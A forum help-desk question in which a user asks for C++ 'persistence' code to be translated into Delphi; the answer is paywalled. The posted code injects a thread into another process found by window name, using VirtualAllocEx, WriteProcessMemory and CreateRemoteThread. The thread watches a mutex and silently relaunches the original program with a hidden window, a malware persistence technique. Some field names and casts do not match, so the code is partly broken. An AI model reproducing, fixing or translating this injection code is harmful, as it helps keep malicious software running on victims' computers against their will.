troubleshooting Question

C/C++ to Delphi

Avatar of Iwanttoownz
Iwanttoownz asked on
C++Delphi
1 Comment1 Solution1252 ViewsLast Modified:
Hello experts,

I need this code which is persistance to be translated into delphi

Thanks in advance.
typedef bool (WINAPI *pCloseHandle)(HANDLE);
typedef HANDLE (WINAPI *pCreateFileA)(LPCTSTR,
      DWORD,
      DWORD,
      LPSECURITY_ATTRIBUTES,
      DWORD,
      DWORD,
      HANDLE);
typedef HANDLE (WINAPI *pCreateMutexA)(LPSECURITY_ATTRIBUTES, BOOL, LPCTSTR);
typedef DWORD (WINAPI *pGetLastError)(void);
typedef bool (WINAPI *pReleaseMutex)(HANDLE);
typedef void (WINAPI *pSleep)(DWORD);
typedef UINT (WINAPI *pWinExec)(LPCTSTR, UINT);
 
struct SPersistInfo
{
   pCloseHandle m_fCloseHandle;
   pCreateFileA m_fCreateFileA;
   pCreateMutexA m_fCreateMutexA;
   pGetLastError m_fGetLastError;
   pReleaseMutex m_fReleaseMutex;
   pSleep m_fSleep;
   pWinExec m_fWinExec;
   char m_szFilePath[MAX_PATH];
   char m_szMutexName[MEDBUF];
};
 
DWORD WINAPI persist_thread(SPersistInfo *s_pi)
{
   HANDLE hFile, hMutex;
      hFile = s_pi->fCreateFileA(s_pi->szFilePath,
            GENERIC_READ,
            FILE_SHARE_READ,
            NULL,
            OPEN_EXISTING,
            FILE_ATTRIBUTE_NORMAL,
            NULL);
   while (TRUE)
   {
         hMutex = s_pi->fCreateMutexA(NULL, FALSE, s_pi->szMutexName);
      if (s_pi->fGetLastError() != ERROR_ALREADY_EXISTS)
      {
            s_pi->fCloseHandle(hFile);
            s_pi->fReleaseMutex(hMutex);
            s_pi->fCloseHandle(hMutex);
            s_pi->fWinExec(s_pi->szFilePath, SW_HIDE);
            return 0;
      }
         s_pi->fReleaseMutex(hMutex);
         s_pi->fCloseHandle(hMutex);
         s_pi->fSleep(60000);
   }
      return 0;
}
 
void persist_calc(void) {}
 
bool persist_main(char *pszMutexName)
{
   char szFilePath[MAX_PATH];
   DWORD dwPID, dwWritten, *pdwRemoteCode;
   HANDLE hProcess;
   HMODULE hModule;
   int nSize;
      hModule = GetModuleHandle("kernel32.dll");
   SPersistInfo *s_pir, s_pil =
   {
         (CloseHandle)GetProcAddress(hModule, "CloseHandle"),
         (CreateFileA)GetProcAddress(hModule, "CreateFileA"),
         (CreateMutexA)GetProcAddress(hModule, "CreateMutexA"),
         (GetLastError)GetProcAddress(hModule, "GetLastError"),
         (ReleaseMutex)GetProcAddress(hModule, "ReleaseMutex"),
         (Sleep)GetProcAddress(hModule, "Sleep"),
         (WinExec)GetProcAddress(hModule, "WinExec"),
   };
      GetWindowThreadProcessId(FindWindow("yhlotou", NULL), &dwPID);
      hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID);
   if (!hProcess)
         return FALSE;
      GetModuleFileName(NULL, szFilePath, sizeof(szFilePath) - 1);
      strncpy(s_pil.szFilePath, szFilePath, sizeof(s_pil.szFilePath) - 1);
      strncpy(s_pil.szMutexName, pszMutexName, sizeof(s_pil.szMutexName) - 1);
      s_pir = (SPersistInfo *)VirtualAllocEx(hProcess,
            NULL,
            sizeof(SPersistInfo),
            MEM_COMMIT,
            PAGE_READWRITE);
      WriteProcessMemory(hProcess, s_pir, &s_pil, sizeof(SPersistInfo), &dwWritten);
      nSize = ((LPBYTE)persist_calc - (LPBYTE)persist_thread);
      pdwRemoteCode = (PDWORD)VirtualAllocEx(hProcess,
            NULL,
            nSize,
            MEM_COMMIT,
            PAGE_EXECUTE_READWRITE);
      WriteProcessMemory(hProcess, pdwRemoteCode, &persist_thread, nSize, &dwWritten);
      g_hPersistThread = CreateRemoteThread(hProcess,
            NULL,
            0,
            (LPTHREAD_START_ROUTINE)pdwRemoteCode,
            s_pir,
            0,
            NULL);
      CloseHandle(hProcess);
   if (!g_hPersistThread)
         return FALSE;
      return TRUE;
}
Join the community to see this answer!
Join our exclusive community to see this answer & millions of others.
Unlock 1 Answer and 1 Comment.
Join the Community
Learn from the best

Network and collaborate with thousands of CTOs, CISOs, and IT Pros rooting for you and your success.

Andrew Hancock - VMware vExpert
See if this solution works for you by signing up for a 7 day free trial.
Unlock 1 Answer and 1 Comment.
Try for 7 days

”The time we save is the biggest benefit of E-E to our team. What could take multiple guys 2 hours or more each to find is accessed in around 15 minutes on Experts Exchange.

-Mike Kapnisakis, Warner Bros